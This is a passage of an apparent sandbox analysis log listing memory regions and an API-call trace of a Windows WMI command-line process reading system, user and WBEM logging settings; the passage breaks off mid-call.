id = 3022 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3023 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3024 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3025 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 3026 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3027 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 3028 start_va = 0x1b60000 end_va = 0x1bdffff entry_point = 0x0 region_type = private name = "private_0x0000000001b60000" filename = "" Region: id = 3029 start_va = 0x1d20000 end_va = 0x1feefff entry_point = 0x1d20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3030 start_va = 0x7fee1b90000 end_va = 0x7fee1d63fff entry_point = 0x7fee1b90000 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 3031 start_va = 0x1ff0000 end_va = 0x20cffff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 3032 start_va = 0x20d0000 end_va = 0x222ffff entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 3033 start_va = 0x1be0000 end_va = 0x1c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001be0000" filename = "" Region: id = 3034 start_va = 0x2230000 end_va = 0x239ffff entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 3035 start_va = 0x23a0000 end_va = 0x24effff entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 3036 start_va = 0x24f0000 end_va = 0x262ffff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 3037 start_va = 0x2630000 end_va = 0x27bffff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 3038 start_va = 0x20d0000 end_va = 0x218ffff entry_point = 0x20d0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3039 start_va = 0x21b0000 end_va = 0x222ffff entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 3040 start_va = 0x27c0000 end_va = 0x2bbffff entry_point = 0x0 region_type = private name = "private_0x00000000027c0000" filename = "" Region: id = 3041 start_va = 0x140000 end_va = 0x140fff entry_point = 0x140000 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 3042 start_va = 0x150000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3043 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 3044 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 3045 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3046 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3047 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3048 start_va = 0x1f0000 end_va = 0x1f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 3049 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3050 start_va = 0x200000 end_va = 0x200fff entry_point = 0x200000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 3051 start_va = 0x210000 end_va = 0x211fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 3052 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3053 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 3054 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3055 start_va = 0x220000 end_va = 0x22bfff entry_point = 0x220000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 3056 start_va = 0x230000 end_va = 0x237fff entry_point = 0x230000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 3057 start_va = 0x1c60000 end_va = 0x1c6ffff entry_point = 0x1c60000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 3058 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3059 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3060 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3061 start_va = 0x2630000 end_va = 0x272ffff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 3062 start_va = 0x2740000 end_va = 0x27bffff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 3063 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3064 start_va = 0x2230000 end_va = 0x22dffff entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 3065 start_va = 0x2320000 end_va = 0x239ffff entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 3066 start_va = 0x2bc0000 end_va = 0x2c9efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002bc0000" filename = "" Region: id = 3067 start_va = 0x2d20000 end_va = 0x2d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 3068 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3069 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3070 start_va = 0x1ff0000 end_va = 0x2034fff entry_point = 0x1ff0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3071 start_va = 0x2050000 end_va = 0x20cffff entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 3072 start_va = 0x1ff0000 end_va = 0x2034fff entry_point = 0x1ff0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3073 start_va = 0x1ff0000 end_va = 0x2034fff entry_point = 0x1ff0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3074 start_va = 0x1ff0000 end_va = 0x2034fff entry_point = 0x1ff0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3075 start_va = 0x1ff0000 end_va = 0x2034fff entry_point = 0x1ff0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3076 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3077 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3078 start_va = 0x2510000 end_va = 0x258ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 3079 start_va = 0x25b0000 end_va = 0x262ffff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 3080 start_va = 0x2de0000 end_va = 0x2e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 3081 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 3082 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3083 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3084 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3085 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3086 start_va = 0x1c70000 end_va = 0x1c76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c70000" filename = "" Region: id = 3087 start_va = 0x7fef9320000 end_va = 0x7fef9333fff entry_point = 0x7fef9320000 region_type = mapped_file name = "wmi2xml.dll" filename = "\\Windows\\System32\\wbem\\xml\\wmi2xml.dll" (normalized: "c:\\windows\\system32\\wbem\\xml\\wmi2xml.dll") Region: id = 3088 start_va = 0x2e60000 end_va = 0x2f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 3089 start_va = 0x7fef3650000 end_va = 0x7fef36e9fff entry_point = 0x7fef3650000 region_type = mapped_file name = "vbscript.dll" filename = "\\Windows\\System32\\vbscript.dll" (normalized: "c:\\windows\\system32\\vbscript.dll") Region: id = 3090 start_va = 0x1c70000 end_va = 0x1c8afff entry_point = 0x1c70000 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 3091 start_va = 0x1c90000 end_va = 0x1c93fff entry_point = 0x1c90000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 3092 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 3093 start_va = 0x2f60000 end_va = 0x356cfff entry_point = 0x0 region_type = private name = "private_0x0000000002f60000" filename = "" Thread: id = 302 os_tid = 0x140 [0254.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ef8d0 | out: lpSystemTimeAsFileTime=0x1ef8d0*(dwLowDateTime=0xc8a79d70, dwHighDateTime=0x1d4a74f)) [0254.608] GetCurrentProcessId () returned 0x7ac [0254.608] GetCurrentThreadId () returned 0x140 [0254.608] GetTickCount () returned 0x4ae77 [0254.608] QueryPerformanceCounter (in: lpPerformanceCount=0x1ef8d8 | out: lpPerformanceCount=0x1ef8d8*=1832801800000) returned 1 [0254.610] GetModuleHandleW (lpModuleName=0x0) returned 0xffef0000 [0254.610] __set_app_type (_Type=0x1) [0254.610] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfff3ced0) returned 0x0 [0254.610] __wgetmainargs (in: _Argc=0xfff62380, _Argv=0xfff62390, _Env=0xfff62388, _DoWildCard=0, _StartInfo=0xfff6239c | out: _Argc=0xfff62380, _Argv=0xfff62390, _Env=0xfff62388) returned 0 [0254.612] ??0CHString@@QEAA@XZ () returned 0xfff62ab0 [0254.614] ??0CHString@@QEAA@XZ () returned 0xfff62f58 [0254.614] ?Empty@CHString@@QEAAXXZ () returned 0x7fee2b7482c [0254.614] SetConsoleCtrlHandler (HandlerRoutine=0xfff35724, Add=1) returned 1 [0254.614] _onexit (_Func=0xfff4f378) returned 0xfff4f378 [0254.614] _onexit (_Func=0xfff4f490) returned 0xfff4f490 [0254.614] _onexit (_Func=0xfff4f4d0) returned 0xfff4f4d0 [0254.614] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0254.614] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0254.618] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0254.625] CoCreateInstance (in: rclsid=0xffef73a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xffef7370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xfff62940 | out: ppv=0xfff62940*=0x1b61390) returned 0x0 [0254.634] GetCurrentProcess () returned 0xffffffffffffffff [0254.634] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x1ef6a0 | out: TokenHandle=0x1ef6a0*=0xf4) returned 1 [0254.634] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1ef698 | out: TokenInformation=0x0, ReturnLength=0x1ef698) returned 0 [0254.634] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x107f10, TokenInformationLength=0x40, ReturnLength=0x1ef698 | out: TokenInformation=0x107f10, ReturnLength=0x1ef698) returned 1 [0254.634] AdjustTokenPrivileges (in: TokenHandle=0xf4, DisableAllPrivileges=0, NewState=0x107f10*(PrivilegesCount=0x5, Privileges=((Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=3, Attributes=0x19), (Luid.LowPart=0x2, Luid.HighPart=33, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2080157434, Attributes=0x8486))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0254.634] CloseHandle (hObject=0xf4) returned 1 [0254.635] GetSystemDirectoryW (in: lpBuffer=0x106860, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0254.636] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0254.636] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0254.636] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x77b20000 [0254.636] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0254.636] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0254.636] FreeLibrary (hLibModule=0x77b20000) returned 1 [0254.636] _vsnwprintf (in: _Buffer=0x106810, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x1ef2c8 | out: _Buffer="ms_409") returned 6 [0254.636] GetComputerNameW (in: lpBuffer=0x105b20, nSize=0x1ef6a0 | out: lpBuffer="YKYD69Q", nSize=0x1ef6a0) returned 1 [0254.636] lstrlenW (lpString="YKYD69Q") returned 7 [0254.637] lstrlenW (lpString="YKYD69Q") returned 7 [0254.637] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x1ef698 | out: lpNameBuffer=0x0, nSize=0x1ef698) returned 0x7fffffdc000 [0254.637] GetLastError () returned 0xea [0254.637] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x106860, nSize=0x1ef698 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ef698) returned 0x1 [0254.638] lstrlenW (lpString="") returned 0 [0254.638] lstrlenW (lpString="YKYD69Q") returned 7 [0254.638] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="YKYD69Q", cchCount1=7, lpString2="", cchCount2=0) returned 3 [0254.640] lstrlenW (lpString=".") returned 1 [0254.640] lstrlenW (lpString="YKYD69Q") returned 7 [0254.640] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="YKYD69Q", cchCount1=7, lpString2=".", cchCount2=1) returned 3 [0254.640] lstrlenW (lpString="LOCALHOST") returned 9 [0254.640] lstrlenW (lpString="YKYD69Q") returned 7 [0254.640] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="YKYD69Q", cchCount1=7, lpString2="LOCALHOST", cchCount2=9) returned 3 [0254.640] lstrlenW (lpString="YKYD69Q") returned 7 [0254.640] lstrlenW (lpString="YKYD69Q") returned 7 [0254.640] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="YKYD69Q", cchCount1=7, lpString2="YKYD69Q", cchCount2=7) returned 2 [0254.640] lstrlenW (lpString="YKYD69Q") returned 7 [0254.640] lstrlenW (lpString="YKYD69Q") returned 7 [0254.640] lstrlenW (lpString="YKYD69Q") returned 7 [0254.640] lstrlenW (lpString="YKYD69Q") returned 7 [0254.640] SysStringLen (param_1="IDENTIFY") returned 0x8 [0254.640] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0254.640] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0254.640] SysStringLen (param_1="IDENTIFY") returned 0x8 [0254.640] SysStringLen (param_1="IMPERSONATE") returned 0xb [0254.640] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0254.640] SysStringLen (param_1="IMPERSONATE") returned 0xb [0254.641] SysStringLen (param_1="IDENTIFY") returned 0x8 [0254.641] SysStringLen (param_1="IDENTIFY") returned 0x8 [0254.641] SysStringLen (param_1="IMPERSONATE") returned 0xb [0254.641] SysStringLen (param_1="DELEGATE") returned 0x8 [0254.641] SysStringLen (param_1="IDENTIFY") returned 0x8 [0254.641] SysStringLen (param_1="DELEGATE") returned 0x8 [0254.641] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0254.641] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0254.641] SysStringLen (param_1="DELEGATE") returned 0x8 [0254.641] SysStringLen (param_1="NONE") returned 0x4 [0254.641] SysStringLen (param_1="DEFAULT") returned 0x7 [0254.641] SysStringLen (param_1="DEFAULT") returned 0x7 [0254.641] SysStringLen (param_1="NONE") returned 0x4 [0254.641] SysStringLen (param_1="CONNECT") returned 0x7 [0254.641] SysStringLen (param_1="DEFAULT") returned 0x7 [0254.641] SysStringLen (param_1="CALL") returned 0x4 [0254.641] SysStringLen (param_1="DEFAULT") returned 0x7 [0254.641] SysStringLen (param_1="CALL") returned 0x4 [0254.641] SysStringLen (param_1="CONNECT") returned 0x7 [0254.641] SysStringLen (param_1="PKT") returned 0x3 [0254.641] SysStringLen (param_1="DEFAULT") returned 0x7 [0254.641] SysStringLen (param_1="PKT") returned 0x3 [0254.641] SysStringLen (param_1="NONE") returned 0x4 [0254.641] SysStringLen (param_1="NONE") returned 0x4 [0254.641] SysStringLen (param_1="PKT") returned 0x3 [0254.641] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0254.641] SysStringLen (param_1="DEFAULT") returned 0x7 [0254.641] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0254.641] SysStringLen (param_1="NONE") returned 0x4 [0254.641] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0254.641] SysStringLen (param_1="PKT") returned 0x3 [0254.641] SysStringLen (param_1="PKT") returned 0x3 [0254.641] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0254.642] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0254.642] SysStringLen (param_1="DEFAULT") returned 0x7 [0254.642] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0254.642] SysStringLen (param_1="PKT") returned 0x3 [0254.642] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0254.642] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0254.642] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0254.642] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0254.642] GetSystemDirectoryW (in: lpBuffer=0x109040, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0254.642] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0254.642] SysStringLen (param_1="\\wbem\\") returned 0x6 [0254.642] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0254.642] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0254.643] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0254.643] GetCurrentThreadId () returned 0x140 [0254.643] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x1eefa0 | out: phkResult=0x1eefa0*=0xf8) returned 0x0 [0254.643] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x1eeff0, lpcbData=0x1eef90*=0x400 | out: lpType=0x0, lpData=0x1eeff0*=0x30, lpcbData=0x1eef90*=0x4) returned 0x0 [0254.643] _wcsicmp (_String1="0", _String2="1") returned -1 [0254.643] _wcsicmp (_String1="0", _String2="2") returned -2 [0254.643] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1eef90*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x1eef90*=0x42) returned 0x0 [0254.643] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x109840, lpcbData=0x1eef90*=0x42 | out: lpType=0x0, lpData=0x109840*=0x25, lpcbData=0x1eef90*=0x42) returned 0x0 [0254.643] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0254.643] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0254.643] RegQueryValueExW (in: hKey=0xf8, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x1eeff0, lpcbData=0x1eef90*=0x400 | out: lpType=0x0, lpData=0x1eeff0*=0x36, lpcbData=0x1eef90*=0xc) returned 0x0 [0254.643] _wtol (_String="65536") returned 65536 [0254.643] RegCloseKey (hKey=0x0) returned 0x6 [0254.643] CoCreateInstance (in: rclsid=0xffef7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xffef73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x1ef498 | out: ppv=0x1ef498*=0x20571d0) returned 0x0 [0254.670] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x20571d0, xmlSource=0x1ef5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x109040), isSuccessful=0x1ef650 | out: isSuccessful=0x1ef650*=0xffff) returned 0x0 [0254.785] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x20571d0, DOMElement=0x1ef490 | out: DOMElement=0x1ef490*=0x205bc50) returned 0x0 [0254.785] IXMLDOMElement:getElementsByTagName (in: This=0x205bc50, tagName="XSLFORMAT", resultList=0x1ef4a0 | out: resultList=0x1ef4a0*=0x2059cc0) returned 0x0 [0254.786] IXMLDOMNodeList:get_length (in: This=0x2059cc0, listLength=0x1ef668 | out: listLength=0x1ef668*=21) returned 0x0 [0254.786] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=0, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.786] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="texttable.xsl") returned 0x0 [0254.786] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.787] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.787] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="TABLE", varVal2=0x80070001c)) returned 0x0 [0254.787] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.787] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.787] IUnknown:Release (This=0x205a280) returned 0x0 [0254.787] IXMLDOMNodeList:get_item (in: This=0x2059cc0, index=1, listItem=0x1ef470 | out: listItem=0x1ef470*=0x205bd50) returned 0x0 [0254.787] IXMLDOMNode:get_text (in: This=0x205bd50, text=0x1ef480 | out: text=0x1ef480*="textvaluelist.xsl") returned 0x0 [0254.787] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.787] 